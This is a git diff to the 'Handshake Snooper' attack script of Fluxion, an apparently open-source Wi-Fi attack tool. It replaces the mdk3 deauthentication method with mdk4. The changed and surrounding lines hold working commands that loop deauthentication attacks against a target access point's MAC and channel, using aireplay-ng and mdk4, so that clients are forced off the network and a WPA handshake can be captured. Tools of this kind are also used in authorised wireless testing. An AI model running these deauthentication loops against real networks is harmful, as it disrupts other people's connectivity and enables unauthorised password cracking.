diff --git a/attacks/Handshake Snooper/attack.sh b/attacks/Handshake Snooper/attack.sh
index 218b430..7822cc6 100755
--- a/attacks/Handshake Snooper/attack.sh	
+++ b/attacks/Handshake Snooper/attack.sh	
@@ -168,8 +168,8 @@ handshake_snooper_start_deauthenticator() {
 
   # Prepare deauthenticators
   case "$HandshakeSnooperDeauthenticatorIdentifier" in
-    "$HandshakeSnooperMdk3MethodOption")
-      echo "$FluxionTargetMAC" > $FLUXIONWorkspacePath/mdk3_blacklist.lst ;;
+    "$HandshakeSnooperMdk4MethodOption")
+      echo "$FluxionTargetMAC" > $FLUXIONWorkspacePath/mdk4_blacklist.lst ;;
   esac
 
   # Start deauthenticators.
@@ -180,10 +180,10 @@ handshake_snooper_start_deauthenticator() {
         "while true; do sleep 7; timeout 3 aireplay-ng --deauth=100 -a $FluxionTargetMAC --ignore-negative-one $HandshakeSnooperJammerInterface; done" &
       HandshakeSnooperDeauthenticatorPID=$!
     ;;
-    "$HandshakeSnooperMdk3MethodOption")
+    "$HandshakeSnooperMdk4MethodOption")
             xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" \
                 -title "Deauthenticating all clients on $FluxionTargetSSID" -e \
-                "while true; do sleep 7; timeout 3 mdk3 $HandshakeSnooperJammerInterface d -b $FLUXIONWorkspacePath/mdk3_blacklist.lst -c $FluxionTargetChannel; done" &
+                "while true; do sleep 7; timeout 3 mdk4 $HandshakeSnooperJammerInterface d -b $FLUXIONWorkspacePath/mdk4_blacklist.lst -c $FluxionTargetChannel; done" &
             HandshakeSnooperDeauthenticatorPID=$!
     ;;
   esac
@@ -203,7 +203,7 @@ handshake_snooper_set_deauthenticator_identifier() {
   local methods=(
     "$HandshakeSnooperMonitorMethodOption"
     "$HandshakeSnooperAireplayMethodOption"
-    "$HandshakeSnooperMdk3MethodOption"
+    "$HandshakeSnooperMdk4MethodOption"
     "$FLUXIONGeneralBackOption"
   )
   io_query_choice "$HandshakeSnooperMethodQuery" methods[@]